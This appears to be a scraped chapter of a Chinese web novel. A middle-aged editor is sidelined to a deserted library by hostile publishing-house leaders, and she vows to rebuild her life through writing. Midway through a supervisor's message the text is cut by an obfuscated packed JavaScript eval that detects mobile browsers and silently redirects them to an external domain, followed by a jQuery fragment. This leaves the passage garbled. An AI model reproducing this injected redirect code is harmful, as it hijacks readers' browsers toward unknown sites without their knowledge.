魑魅博人应见惯,总输它、翻云覆雨手。冰与雪、周旋久。 人这一辈子,遇到了大慈大悲的神仙,那是你的福气,遇到了魑魅魍魉,那是你的劫数。 我扭开侧门上的大铁锁,走进图书室的时候,偌大的图书室里,防火警报吱吱地响。我当时一个人站在警报前头,吓坏了,以为要爆炸了。 我去叫来了保安。保安说:“没有关系,按消音按钮,关上就行了。” 我回来按了消音按钮。果然不再响了。 我把我的东西搬到了图书室,是的,我谁也不去找了,找了也白搭。 现在众口铄金,都说我是笨猪。就算是找到了局长那里,他也对我也是半信半疑。 如果他也说我是笨猪,是垃圾,那我真的彻底没有活路了。 他们现在对我表面上还温情脉脉,还没有大开杀戒。 即使他们说我是一头聪明的猪,善心大发地把我拉回到他们的猪圈里,施舍给我一块子猪圈的烂泥地,让我可以跟那些猪一起亮亮相,晒晒太阳,跳几个猪旋舞,来滥猪充数。我的前途无非是一头优秀的猪,多得了一点豆饼,多发出几声开心的猪叫,那也不能彻底发挥我的价值,没什么意思。是的,我长得猪头猪脑,可我坚信我不是一头猪,我这辈子的价值,可不单单是做一头猪。 我不想再跟着他们跑了,我的时间有限,我已经四十了。既然十年的时间得到的是压制是发落。那我也就不要再指望从他们那里得到什么认可。 他们觉得我是一头笨猪,把我拱到猪圈边儿上,让我吃不到食,让我到一边吃屎。那我就蜷缩在角落里,趁着他们不在意,赶紧好好地修炼自己,我要为自己开出来一条路。 我始终相信我不是笨猪。 我要用我自己的努力去证明,跟我比,他们才是猪。 他们才是彻彻底底的笨猪。 天很热,图书室里的味道很大,我就去开了窗户,来散散味儿。书架上落满了尘土,结了蜘蛛网。书架里头、书架底下的地上,落了很多节肢动物的干枯的尸体。我把我的抹布拿出来,开始一格一格地擦起来。书架上的尘土,不知道是沉积了多久了。每一格书的旁边空出来的地方都有尘土,这些尘土,我上去就可以擦。这些尘土确切地说,不是简单的轻薄的尘土了,那是厚厚的黑黑的尘泥。每一格书背后空落的地方,也是尘土,我得弯着胳膊拐进去擦。那些书页锋利的很,把我的胳膊划出一道道像蜘蛛网似的血口子。有的地方,还点染出了一朵朵的桃花。一列列的书架,一孔孔的格子,我一个格子一个格子地擦着,一排书架一排书架地走着。 对于这样大量的重复性的工作,我是有足够的毅力的,不就是愚公移山吗,这是我最擅长的。小时候,扛着铁锨剜地的童子功,我是有的。这是我的家乡、我苦难的童年给我的力量。 我那时候还不知道,那些地里、土里刨食的经历,给了我多大的毅力和动力,让我能够在任何艰难的情况下,足够顽强地挺下去、走下去。 我得感谢我的父母,把我生在那么贫苦的山区。 我得感谢我的爷爷,带着我剜过那么多的地。 每天早上,我五点半就起床了,先盛上一大碗粥凉上,再去给宝宝跟她奶奶炒个菜,再烧上两三壶开水,我自己再去喝粥。喝完粥,赶紧去菜场买菜买鱼。回到家,把菜规整到冰箱里,把鱼清洗干净,放好,我就骑上电动车出发了。到了图书室,我开门、开窗,然后坐到我的桌子前头,开始一天的工作了。 因为被废弃了,被闲置了,所以,我很清闲。每天。我都忙自己的工作。 是的。从一年前开始,我每天都有自己的工作。我的工作,不是谁指派我,不是谁压着我,我自己的工作的主人就是我,我每天逼着我,推着我,找时间、挤时间,做我自己的工作。我非常急着去做我的工作,因为我知道只有我自己的工作才能救赎我,才能彻底改变我。 我的电脑就是我的盾牌,我的文字就是我的剑戟。我每天都告诉自己:“起来!去干!去跟他们干!” 曾经,我像一棵霉豆秧子一样,把我的生命紧紧地攀附在大树上。为它献出我所有的心血、翠绿和光亮。可是,等到秋风起,我枝叶枯黄,我就被从这棵树上甩到了地上。 我要开启我第二次生命,真真正正,为自己生长。 我真是一头驴。这十年,我围着磨盘埋头苦转,不知道公转的同时,还要自转。 我只知道一个单位要打造自己的品牌,我不知道一头驴也要去打造自己的品牌。 一头驴如果没有自己的品牌,等它老了,转地不利索了,就会被卸磨杀驴。 好吧,以后我要多多地自转,每天都要自转。 而且我还不满足做一头品牌驴。天津的驴,山西长治上党的驴,我都不稀罕。 我要把自己打造成一头神驴、仙驴、张果老的驴,一头会腾云驾雾的驴。 这儿大多数时候很静,静地像个冷宫。它正好适合我的秉性和处境。我在这儿闭关修炼,像是凝神打坐儿一般,专注地敲打着我指尖下头的键盘。 有时候,我太累了,走到窗前,抬头远望。旷野里,是一排被荒废的白墙黑瓦的农房。灰白色的墙壁隐没在葱绿的庄稼地里,黑色的屋瓦像一排排的燕子,翘着尾巴,攒聚一堂。 那一刻,我仿佛看见了家乡。可这儿毕竟不是我的家乡。我的家乡,没有白色的飞鸟,像海鸥一样,飞过水塘。 眼底下,一棵小树舒展开的枝叶伸到了我的鼻子底下,我认得出来,那是家乡的榆钱树。我已经很久没有见过家乡的榆钱树了。这些年匆匆忙忙,看得见城市的绿化带,看不到家乡的风光。 这棵榆钱树,也就是在这新开发的地方还能偷偷地生长,这个地方还刚刚建成一栋楼房,到处都在装潢,还顾不上去铲除掉这棵不起眼儿的小树。等过些日子,等这个地方的设施渐渐成熟,渐渐精致,等他们连泥带土运载了更名贵的树苗来做绿化,这儿可能就容不下它了。那时候,它就会跟那些倒睡在水泥地上午睡的装修工人一样,无声无息地消失了。我不敢确定,未来,它的未来会是怎样。 因为它太不起眼了,它不是一棵名贵的树。所以它随时都可能被铲除。 中午该吃饭的时候,我走出了图书室。我一直沉浸在自己的文字里,等我从我的文字世界里抽离出来,来到现实之中去的时候,愈发地呆呆笨笨,笨头笨脑了。 他们愈发觉得我是一个蠢货,是一头笨猪了吧。这真是做实了领导把我当成笨猪的事实。活该领导把我当成一头笨猪啊。我确实是一头笨猪啊。 他们觉得,我这个样子,就像是空了心的白菜,只能坐吃等死,了此余生,再也没有任何心血和想法了吧。他们以为,我就像是寒冬里被拔光了毛,扔到冰河里头的寒号鸟,再也无力挣扎,无可奈何了吧。没关系,我在领导那里本来就是一头笨猪,他们怎样看我,我不在乎。 我不怕猪上加猪。 我打上一大勺饭,端到编辑部员工食堂的隔壁去吃饭。是的,这难得的吃饭消闲的时间,我不想再拿来跟谁讲话闲谈。我只想刷刷手机好好吃我的饭。我不想跟谁讲话,我也不想再听谁讲话,那些油腻的大妈、大叔的声音,我早就听够了! 至于他们怎么看我,随便他们吧!我就是孤僻,我就是独来独往,我就是不合群,我就是无人问津。我都承认。 我这样都快一辈子了,我无所谓了。 我大口大口地吃饭,一点也不考虑我粗壮的身躯,在这个看脸的世界里,我这样腚大腰粗的身材是多么不堪一击。 我就是要这么壮,我要足够壮,才能扛得住一次次的风骤雨狂,才能快速地自愈狂风暴雨给我带来的伤,才能在狂风暴雨里屹立不倒扛起我所有的担当。 我知道我这个五短身材壮地像他妈的炮弹一样,像个炮弹一样又老又旧又沧桑。 可是,只有我自己知道,我炮弹似的体内,蓄积着炮弹一样的能量。 我妈妈说:“腚大腰粗必定有福!” 衣部长端着餐盘和蔼地走过来了。她礼贤下士地坐在我的对面。 “宋编辑,最近还好吗?”她和颜悦色地问我。 “特别好!好地不得了!”我笑着说,“有自己的时间了。” “是的。你看,杜社长多照顾你,对你多好啊。你平时闲着没事儿,都干些什么呢?”她好奇地问我。 “看看书!”我说。在我看来,看书已经很低级了。我就告诉你一个低级的爱好吧。跟你说更高级的事情,你也不懂,你也不配。在你看来,我就是一个傻叉。跟你这种把人当成傻叉的傻叉,没什么好说的。就跟你装憨卖傻虚与委蛇罢了。 “宋编辑会织毛衣吗?”她问我。她这是觉得我身在囚笼,肯定闲得发慌,得找个事儿来做做,打发那么多的时间呢。 我说:“正学着织毛衣呢,等学会了织毛衣,再学着织织毛线裤。” 衣部长说:“是的呀,学学织毛衣,蛮好的。” 我说:“是的,现在虽然网上也有卖的,但是不如自己动手织地好,还是自己织的好,绿色,环保。” 她说:“宋编辑喜欢一个人吃饭,也不到那边跟她们交流交流?” 我说:“我年纪大了,不想跟谁内耗了。谁好谁坏,我都不想管了。没什么意思。” 她说:“是的。主要是猫!养猫是我们的立身之本。猫才是最关键的。” 我看着她想,我本来也可以勉为其难地去养猫的,可是你们不让我养啊。我现在无猫可养了,你就觉得我两手空空,彻底没辙了吧。你们不让我养猫,是想把我的立身之本给剥夺了,抢走了?你们以为这样,我就没有安身立命的本事了?傻叉!想得美! 我懒地跟她解释。 我说:“今天的菜蛮好吃的哈。我喜欢吃肉!喜欢吃红烧肉!” 她这个酒囊饭袋像是看着一个酒囊饭袋似的笑眯眯地看着我说:“你喜欢吃肉啊?” 我说:“是的,我喜欢吃肉,我胃口好。你看,我都吃完了,你慢慢吃啊。” 她这个饭桶像是看着一个饭桶似的跟我说:“啊,好啊。你先走吧。” 我下班回到家,洗洗手就去烧水、洗菜,煮面。手机放在一个绿色的小椅子样式的手机架上,里头响着我爱听的《拆西厢》: 莺莺闷坐,手儿托腮。叫声红娘,你快过来。 你姑娘有件,这个不明的事,从头你要,讲个明白。 你姑娘我是这个闺阁的女,擦胭脂抹粉我是总嫌不白。 张君瑞本是一位唐朝的客,咱娘们宋氏三代女裙钗。 唐宋相隔有这二百载,何人编出这部《西厢》来。 红娘闻听,抿着嘴地笑。姑娘明白,这个我明白。 老爷在朝,他是把官做,官居一品,是位列三台。 宋王爷开了,那叫文考场,天下举子们进了京来。 河南来了一位关公子,关汉卿千山万水进了京来。 老爷贪赃图了贿,屈了人家的好文呐才。 三场没把公子来中,回家闷坐在小书斋。 今天思来,他是明天想,一怒才写出这部《西厢》来。 《西厢》下院,留下了诗句。字字行行是看个明白。 首一句待月西厢下,二一句迎风户房开。三一句月移那叫花影动,四一句疑是玉人来。我的小姐呀,真是真呐来,那个假是假。黑是黑来,这白是白。 贞洁女总是那个贞洁女,下贱才总是这个下贱才。 真金不怕烈火来炼,脚正哪怕那绣鞋歪。 夜明珠未出土真假难辨,单巴掌拍不响你怨着谁来。 聪明的红娘,嘴尖舌快,几句话把《西厢》她给来拆开。 我在煮面的空隙,寻思着那位好心的主任对我的热忱,脑子里转悠出了一首小诗,我把它记录了下来,发给了他: “古道热肠人如玉,月满春枝沐深恩。文人所遇皆如此,武关将士遍忠心。 感君良言意已足,不去名山觅仙人。余生安稳何处得,须向江郎笔中寻。 胡主任您好,我是宋大省。就是那天跑到您办公室哭的人。您对我的关怀我铭记终生,无以为报。这几天也是苦闷,就想了这么几句话,送给您。顺祝您中秋节快乐!” 没过多久,他回复了:“非常感谢!很惭愧,关怀谈不上,只是做了一个倾听者,说明关心还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137822|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不够。你的情况我也跟几个社长都进行了沟通,目前事务分工已经公布,本年度肯定调整不了。你也不要苦闷,每个岗位都是不可或缺的,而且本年度的像你这样的事务调整的也比较多,不要有心里负担。只要在社里,就安心工作,以后有的是机会。也顺祝你中秋节快乐,在今后的工作和生活中天天快乐!” 那几天,我还是容易走神,我下班的时候,不由自主地就到了人事科。 人事科科长郑嫦从对面黑洞洞的走廊里迎面走过来,经过了一个夏天的保养,她的脸瘦地跟啄木鸟一样。 她好像早就知道我的事了,她斜着眼睛看着我说:“怎么了?” 我说:“我被调到图书室了。” 她冷冷地说:“那要怪你自己能力不强。你要拿本事说话的。你这一年的业绩并不好,最起码,你的业绩也应该跟别人的差不多。你根本就不会养猫,你在一线养猫的岗位上根本就站不住脚。” 我说:“他们给我的是综合素质最差的猫。我怎么可能养地比那些原本就比我强的还要好。就是这样,我的业绩相对于原来的水平,还是一直在进步的。” 她说:“你养猫养地好不好,不是你说了算的。这段时间,我也了解过你的情况。领导对你的看法并不好。当初,你被《小坛》调出来,就说明《小坛》不认可你。” 我一时竟然无话可说。《小坛》把我调出来,就是因为我差是吗?十年前,你们可没有这样说。我差在哪里?我差在我没有关系,我差在我生了孩子,我差在我年纪大了,你们可以选择的人才多了,所以就把我这样的中年奶妈给无情地抛弃了。 说我不会养猫是吗?你去年不是还说换做是你,你也不会养猫吗?我好好地一个编辑,让我去养猫,我的身心能适应吗?我养的那些猫有多闹腾,你怎么不说的? 你说我不会养猫,你去养养试试啊? 我没有关系,你们就把我随便安置,你们就说我差是吗? 你们当然要说我差了,你们不说我差,难道还说你们自己差? 你们私底下收礼、拉关系,你们把你们的关系户往好处调,往高处调,把我们这样的无权无势的当成烂泥,随便往哪个低洼沼泽里甩出去。 然后你们沾沾自喜洋洋得意。你们徇私舞弊,草菅人命,你们却说我差。 我养猫的业绩是进步的,明明有数据,你们可以去查,可是你们根本不听我的,就是一口咬定我差。你们罔顾事实,让我百口莫辩,我还有什么好说的。 我说:“我可以调到《且戒》吗?哪怕是去图书室我也认了。” 她说:“社长之间都是相通的。你还想调到《且戒》,你想地太好了。杜社长说你不好,你以为别的社长会收留你吗?现在形势很严峻!” 我什么都不说了。我已经被逼到悬崖边上,无路可走了。唯一可以救赎我的,是我自己。舍此之外。我还有什么别的希冀! 我骑着电动车,走在回家的路上。 秋天了,经过了几场秋风秋雨,那些小树的叶子被撸光了,不再哗啦啦地响。它大概是不太开心吧。后面,还有更冷的雨和霜。不过没有关系,它只是被撸光了浑身的叶子,露出了光溜溜的身体。树怕伤皮,不怕空心。没事,它还有皮,还有心。还有下一个新春。 回到家,我照样煮面,洗碗,可是,我的心里很痛。 我打电话问我妈妈,我妈妈接了电话,她还是像一个忙着赶赴沙场的将军那样毫无感情地说:“你有什么事儿?说吧!” 我说:“妈,北荆堂的那些大爷,他们的大号,你还记得都叫什么吧?” 我妈妈说:“我也忘喽!你问这个干什么的?” 我说:“妈妈,你来给我带孩子吧。你来给我带孩子,给我讲讲以前荆堂的那些事儿。我把它们都给写下来。” 我妈妈说:“那些事儿我都忘了。你也不要写了。一笔勾销吧。哎哟,起风了,要下雨了!咱的玉蜀黍刮了!我得赶紧盖塑料纸去!”我妈妈说着挂了电话。 我一直以为,我妈妈的肚子里还装着那些美好的事,那些美好的人。她说起他们还能滔滔不绝,原原本本。可是我妈妈也跟我一样,早就忘光了。她年纪大了,怎么能不忘。何况,她经历了比我更苦的日子,她受了很多比我更严重的伤。 我的事情,我没有跟我妈妈讲。报喜不报忧,并非是为了面子。人到中年,有什么面子可讲。 不跟妈妈讲,是不想让妈妈知道,我在外头,是被鸟啄了,还是被狗咬了。 我告诉她,除了让她知道外头的鸟有多么阴鸷,外头的狗有多么凶残,让她领受我所遭受的痛苦,心如刀绞,辗转难眠。除此之外,她是无能无力的。 我的妈妈快七十岁了,她年纪大了,她不能再挥舞起手里的打狗棍,替我赶走咬我的恶狗了。我跟她说起我那些血淋淋的伤口儿,她只能眼睁睁地听着,看着,每日价无能为力地念着,除此之外,她还有什么办法? 那些鸟,那些狗,它们啄了我,咬了我,就让我一个人痛吧,反正,我也忍受的了,反正,我也习惯了。把它们的凶残跟我妈妈说,只能让我那风烛残年的的妈妈,眼睁睁地看着它们啃我咬我并且盛气凌人地大笑啊? 去他妈的!你们的骄横,我一个人领受就行了,我还让我的妈妈来承受呢! 一个人的身体,究竟要有多少力量,才能扛得住这么重的风霜。 一个人的内心,究竟要有多么坚强,才能承受得了这一次次的创伤。 可是,没有关系。我是一个人,我扛得住。我还能够,我也必须好好地活下去。 你以为你把我闲置起来了,我就把自己闲置起来了啊?你以为你把我当废柴,我就是废柴了啊?你以为你把我放在一个冷宫里,我就会颓颓废废,了此一生了啊? 哼!绝无可能!我生命的价值不在于你对我是否认可,也不在于你是否让我为你效命。你夺过我手里的笔杆子,不给我一丝一毫的认可,给了我彻彻底底的否定。世人皆以为你给了我致命的一击,我会一蹶不振,再也不会东山再起。 你错了!你们全都错了!我告诉你,这对我来说,恰恰是一个绝好的时机。我真正为自己书写人生的时候到了! 不给我笔,我的手指就是我的笔!不给我书,我还有脑子,我自己写! 不给我发挥的舞台,那我的舞台可就大了! 我敞开了干!真正为我自己干! 好好干啊!我对自己说。为了生活,为自己干呀!为了生存,跟他们干呀! 我跟春霞打电话说:“春霞姐,我今天去了人事科。人事科郑科长,根本就不听我的解释。她还说,社长之间都是相通的。我想去别的地方,也没有人会收留我。” 春霞姐说:“他们早就商量好了。已经改变不了了。这件事,你老公之前的做法对你多多少少是有影响的。你现在就是赶紧发展你的副业。” 我说:“我知道。我早就知道。我不会坐以待毙,任人宰割的。” 端午给我发信息了。他说:“我看了个新闻,国家规定幼儿园和小学要本科学历,初高中要研究生,大学要博士。” 我气恼地说:“你想说什么?你太幼稚了!是人家看不上我,故意找茬。跟国家规定有个毛的关系。你还在看规定,你太傻了。你不知道权力大过天嘛。你不知道县官不如现管吗?你不知道经是好经,让歪嘴和尚给念瞎了吗?你不要再一次展示你脑子有问题,又干涉我的事。我的事不要你管。你脑子少的太可怜了,我跟你说不明白。你出手唯一的作用就是陷我于万劫不复的地步,就是让他们知道我有一个多么傻货的老公。” “你不要研究我的事了。里里外外,你做的事都是给我增加负担,坑害我的事。我都被你害死了。我也不想再跟你说什么。我们没办法沟通。但是拜托你不要再来害我。我现在才清楚,你就是妥妥的少脑子渣男。你家里不带孩子,不帮我分担,工作上给我带来巨大的灾难。我最后一次拜托你,你不要我再管我的事。” 跟我一同被发落的是张菲。张菲跟我一样,都是四十多岁的年纪,都是完全超重的圆滚滚的身材。她被发配到医务室,当了专职的猫医生。 我把张菲叫到图书室里来,我们俩儿坐着聊聊天儿。 张菲跟我说:“我不是挑拨哈,我要是你,我跟他吵翻天。你那么优秀,你原本是《小坛》的编辑,他们却这样对你。你现在等于被边缘了,被发配到冷宫了。以后的晋级之路都被封死了。你就是性格太柔了。你太能忍了。” 我说:“张菲,他们把一群综合水平最差的猫猫给我,到最后不分青红皂白,就说我喂猫喂地差。你说还有天理吗?” 她说:“她放屁!我跟你一样。给我的也是水平最差的猫,到最后衣部长也是说我不会养猫。我跟衣部长吵架了。我说,你不要老是想pua我,拿打击我否定我当本事。不行,你来试试?你来把那批最皮的猫猫,给我训练地老老实实的?说我不行!我在《喵一生》编辑部做了十几年的编辑,她可以吗?让她去编辑部写篇文章给我看看?她写地出来吗?让文化人去养猫,简直是草菅人命!” 我说:“我喜欢你骨子里的不屈,认识你真是我的福气。我没有看错人。你那么会写文章,你也不要放弃自己。你还可以写写文章。” 她说:“我平时爱看书,不爱写文章。就这样吧,我应该感谢他们,虽然不在一线养猫了,但是我快乐了啊。我少生气了,还可以延年益寿呢。我倒是要感谢他们呢。” 下班了,我骑上我的电动车回家,前面,同事开的奔驰车扬起的尘土和小石子打在我的身上,我顾不得那么多,专注地骑着我的电动车。 “嘿!宋编辑!”一个骑电动车的女同事喊了我一声。是赵云。 我说:“嘿!赵云!我们同路啊!” 她戴着头盔,放慢了速度说:“《喵一生》的领导做事太让人寒心了。我本来是在《且戒》做编辑的,也被弄到《喵一生》来养猫。我不想养猫,他们就要让我去乡下的分部。我怎么能去乡下,我的孩子还小,我要带着她上学。” 我说:“我跟你一样。都是要带着孩子上学。否则我们去别的地方做编辑,也不来受这样的窝囊气。小妹,你是哪里的?” 她说:“我是汤州那边的。他们就会欺负我们这样的。我一开始在编辑部,后来也被调到实践部。当时,杜社长说实践部缺人。后来实践部又不缺人了,他就想把我弄走。他让我去乡下,交芝那里。我说,我要带孩子上学,我不去。他见我不去,就让交芝那里的社长给我打电话,说我如果去了,他就给我评职称,他亲自去人事科要人。他拿评职称来诱惑我。我说,我一个编辑,被他们弄到实践部,我的本行都被他们搞没了,我的岗位晋升之路彻底被封死了,我还评什么职称。我一听交芝的社长说,要去人事科要人,我就知道他们这种调动是不正当的。我就不走。杜社长见我不走,他们去年分办公室的时候,给我分了办公室,却不给我分办公桌。我去找了杜社长,这才给我分了办公室,因为办公室早就安排满了,他们就让我去文印室上头的二楼。里头就我一个人。” 我说:“他们社长之间都是相通的?” 赵云说:“当然了,他们有一个群的,他们其中的一个说谁不好,另一个也会信以为真,也会对你不好。就像我跟你一样,我跟你说哪只猫猫讨厌,你也会听我的。回头你也去教训那只猫猫。今年,因为组长比较积极,带着我们搞活动,我得到了一些外出学习的机会。杜社长见了我还跟我说,‘赵云,你看,你到实践部好吧?你应该感谢我吧。’我想,我感谢你什么呢?我感谢你把我从编辑部弄走,调到实践部吗?我感谢你要把我从《喵一生》弄走吗?你们做的事,我都放在心里呢。你以为我不知道,你以为我不记得吗?你以为我好了伤疤忘了疼了?害死人还要人家领他的情。他是真以为别人都是傻瓜了?他这是被一群求他办事儿的马屁精给捧地不知道东西南北了。他不知道我们都是在心里骂他的吗?” 我说:“他说,让你感谢他,你是怎么回答的呢?” 赵云说:“我当着他的面,没办法,我就敷衍说,‘谢谢谢谢!’结果他跟我说,‘你不要光放在嘴上。’他是什么意思?他还要我去给他送礼吗?他收的那些礼还不够?要多多益善是吗?他害惨了我,还让我给他送礼?我要是不送,他是不是就把我害地更惨?我就不送!我一个女的怎么送礼?我要是送地不够,还得以身相许喽。光脚的不怕穿鞋的。他们干的那些事儿,一查一个准儿。把我逼急了,我就去举报他。他们哪个人干净,连主任都不干净。我要是跟他闹,我顶多被他报复。他要是被查了,他还要坐牢的。他连脸面都没了。我没什么好怕的。怕的是他们。” 我说:“也有人跟我说,说杜社长照顾我了。说‘你看杜社长对你多好啊。’” 她说:“他照顾你不是因为看重你,而是因为瞧不起你。你说这还是照顾吗?谁不想在一线工作,谁想被孤立起来,被闲置起来。” 我说:“是的。我就喜欢你这么通透。你真是个女中君子,身上一点都没有小人味儿。你对我也总是很热情很热心。我真地很感谢你。” 她说:“别客气。我们是革命友谊。” 我说:“你虽然比我小,但是听你说话,什么事都分析地头头是道。我感觉我真是什么都不知道。我以前也是这样,什么都不知道。” 她说:“你什么都不知道,也是一种幸福。我们都是经历过的,经历了就成长了。” 前面就要转弯了,赵云说:“我要走这边了。你慢点。” 我说:“知道了,好妹妹。你先走吧,我骑地慢,我车速限速二十。” 她说:“二十太慢了。” 我说:“我就这样,慢慢骑,哪怕迟到都不快。我的人身安全是第一位的。我为了上个班,摔坏了不合算。我们中年人,肩膀上的担子重的。我们伤不起。” 转过一个弯,路边上是人家的农田。一个老太太低着头,弯着腰,手里拿着个舀子,正专注地浇她的小白菜。她的头发跟我一样花白,她的小白菜才长出来一扎把儿长,一行行的小白菜,举着两片嫩嫩的叶子,翠绿可爱。我也应该开垦出一块农田,在里头好好地种我的菜了。 晚上,我的□□响了,是谁啊,不认识。我一看那信息。 “宋编辑,我是黄鹂。听说你去年喂养的是四岁的小猫咪。我今年刚调入《喵一生》杂志社实践部养猫。我以前养的都是一到三岁的小猫,从没养过四岁的小猫。我对四岁的小猫不熟悉,把握不准,能把您去年养猫的手写记录借来学习学习吗?” 我心里想,好一个心机女。想偷懒就直接说想偷懒吧,还曲里拐弯地,把想偷懒说地那么清新脱俗!我看了看群里喂养四岁小猫的那一组人员的照片,看到了那副新的面孔,年龄比我还要大,除了头发,比我还要苍老。 不就是想偷懒,不想费事打印,不想手写喵咪喂养记录吗?你直接跟我明说呗!你就说你想偷懒,不想手写记录!那我也佩服你耿直大气,我还得哈哈一笑,快快乐乐地双手奉给你! 你明明是想偷懒,却要说是向我学习!我是从实践部一线被发配到图书室闲置起来的人,是被领导公认为不会养猫的人!你向我学习什么?你既然那么虚心要学习,你们手里有的是养猫参考书,你不是更应该自己多写写,多记记?你来借我的来滥竽充数干什么? 你才刚来,我们素不相识,是哪个认识我的,给你出的骚主意,让你来向我借的?我刚死,你们就要把我的家伙什儿都拿走了?你们就认定我这辈子再也没有机会活过来了,我再也用不着了? 是谁,是哪个奸臣?! 我再次打开□□一看,跟黄鹂一起坐着的,是去年我认识的两个人。不是她,就是她。是她们给黄鹂指的路,让她来向我借家伙什儿,故意往我伤口上撒盐的?我有那么懦吗?我就那么老老实实地,把我去年的手写记录给黄鹂?让那些个奸臣也洋洋得意? 我偏不给! 我说:“不好意思。黄鹂,我的手写记录前几天被人家给借走了。” 我心里想,不是跟我耍小聪明吗,你不是想偷懒吗,我就是要告诉你,还有比你更聪明的! 我把张菲给我发的文字删删减减,发给了黄鹂。意思是,你看,真的被人借走了! 我这辈子遇到过许多奇奇怪怪的人和事儿。它们像石头和大粪一样朝我砸过来。以前,我总是背过身儿,可是它还是结结实实地砸到我的身上。搞得我又臭又脏。可是,现在,我摊开双手好端端地把它们给接过来,放到我的地里,放到我的篮子里。 那些大粪在我的地里,被晒成了牛屎饼,可以做我冬季的柴火,那些石头,被我打磨成了鹅卵石,供我欣赏。我欢喜地接纳这些大粪和石头,心情也变得不那么糟透了。 开工伊始,要迎接领导检查了。杜社长来了好几次图书室,看看图书室里有哪些事情要注意。 “小宋,你在这还好吗?”他分外温和地跟我说。可能他自己也知道这样对我实在足够残忍,他对他的得意之作非常满意,所以他见了我也显得格外慈悲。 我说:“还好。就是见了那些同事,脸面上挂不住。人家会嘲笑我,或是同情我。” 社长听了我的话,温和地摸着自己的半边黑脸,皱着眉头,挤着眼,撇着嘴,切着牙,语重心长地说:“你那么在乎脸面干什么啊?” 我想,是了,我应该跟你想的一样,我只是个石头瓦块,你想扔到哪儿就扔到哪儿,我根本就不需要我的天生的那张脸的。 你为了你自己的脸,就不顾我要不要脸了。 是了,在你这种人的手里,我是不能要脸的。 我像个臭虫一样,只要活着就行。我哪里是个读书人,我哪里是个编辑。在你的眼里,我连个保洁都不如。 我用哭过的脸笑着跟他说:“是的。我们中年人了,确实侍候不了那些小猫了。太吵了。” 杜社长满意地笑着说:“对呀!”我也谄媚地懦夫一样地笑着。 是的,我被他伤地很深,我还得跟他陪笑。 我心里有多苦,我跟他笑地就有多甜。 他对我有多残忍,我的膝盖就有多软。 因为我在他的手心儿里,因为刀子就在他的手里。 他把我割地很疼,他把我脸上割出了十字花儿,涂上黑炭,打上金印,让我顶着这张伤疤脸,出去丢人现眼,没脸见人,我还得夸赞他的刀工鬼斧神工厉害超群。 我不敢不去谄媚,不敢不去恭维。 我不敢说苦,不敢说惨,否则他会下手更狠会让我更惨。 是的,我知道他的手段。 没过几天,领导来检查了,社长作陪,摄影师扛着摄像机一路仓仓皇皇。一行人路过我的身旁,迤逦走向图书室的深处去了。 我在心里想着,我要不要像苏三一样披枷带锁地扑到领导的袍褂下,叫一声:“青天大老爷,为小女子做主啊!” 如果我这样做,事情的结果会是怎样呢?我跟他陈情的那个领导会像包拯那样为我做主吗?我的事情会有个说法吗? 还是,社长大喝一声“来人”,把我像狗一样拖走,把我打入死牢,让我自食其果,永世不得托生。 算了吧,领导来检查也只不过是走个过场,他哪有时间哪有心思管我的事。我不能去给他煞风景啊。 天下熙熙皆为利来,天下攘攘皆为利往。 领导也很累,领导也很忙。 即使领导过问我的事了,他把杜社长训斥一下,让我回到原来的工作岗位,那又能怎样。 我得罪了一个社长,就有千千万万的社长站起来。 我无论沦落到哪个社长的手里,他还是会觉得我是一个孽徒,对我严加整治,我还不是落地一身的伤。人家能让我好过吗?我能一直跟领导伸冤吗?领导哪有时间一直管我这点屁事。等到我把领导给惹烦了惹毛了,我就连心里那点微茫的希望都没有了。那时候,我真的是求告无门,人家就真的要对我痛打落水狗了。 算了,我还是沉默吧。 我不够优秀,我没有有力的证据证明我自己很棒。 我太普通了,我不够闪亮,我没有优秀到有资格让领导为我大费周章。 我也还能活得下去。 我就这样忍着、忍着,好好地蓄积我的力量。 “这个图书室是我来的那年新建的,当时光装修就花了一百四十万。”杜社长跟他们一行人介绍说。 来检查的一行人来了又走了。除了社长,谁也不知道他们是谁,谁也不知道他们是来干什么的。他们走着,瞧着,什么也没说。等他们走了以后,我出去上厕所。我在洗手的时候,听到隔壁男厕所里有一群男人热烈地说话的声音。 是他们,是刚才来检查的那一群人。 “这个地方上厕所还蛮方便的,哈哈哈哈!” “这个地方很少有人来,干净!哈哈哈哈!” 进退无颜仪。那些日子,我见了那些同事,尤其是相熟的同事,我都觉得脸上无光。 她们有时候一群群地去开会,一群群地像仙女一样朝我走来,怀里抱着她们的养猫记录。看到了我,她们有的跟我笑笑,有的善良地垂下眼皮儿。她们肯定是以为我非常羡慕她们怀里的那些养猫的一二三四五六吧?她们不知道,我连她们高不可攀的七八九都不稀罕,我还稀罕她们怀里的四五六? 她们有的努力地朝我的眼里张望,想从我的眼里看出来一丝本应该属于我的忧伤和凄凄惶惶。可是,我的眼里没有那些东西,是真的没有。 我知道,她们也知道,我的世界,有一盏灯,被谁给吹灭了,让我陷入了无尽的黑暗和彷徨。她们以为,我的世界里,只有惨淡和混吃等死的凄凉。 可是,只有我自己知道,正是因为我被打进了冷宫,所以我才有更多的时间去寻找我的新生。 黑暗给了我黑色的眼睛,我却用它来寻找光明。 那些黑暗,并没有把我压垮,相反的,它们像是煤和礁石一样,缓缓地沉到了我的心底。它们在我内心的海底上,发出萤萤的火光,给了我足够的动力,让我每天都想去拼,去闯,让我更接近我想到达的地方。 叶展眉来图书室借书了。 “宋老师!”她诚恳又亲切地跟我说,“你在这儿还好吗?” 我笑着说:“跟你说,你都不相信,我在这儿真的蛮好的。” 叶展眉说:“也是的,不用去拼命了,累死累活地,图了什么呢。” 我说:“你看你这身儿打扮,绿衣白裙,真好看。” 她说:“谢谢宋老师。宋老师,你要想开点。他们就这样,没有关系,就被区别对待。我以前不是在《小坛》实习过吗?《小坛》也这样。” 我说:“天呢!你是《小坛》的实习生,我都不敢在你跟前说《小坛》什么,你居然什么都知道。” 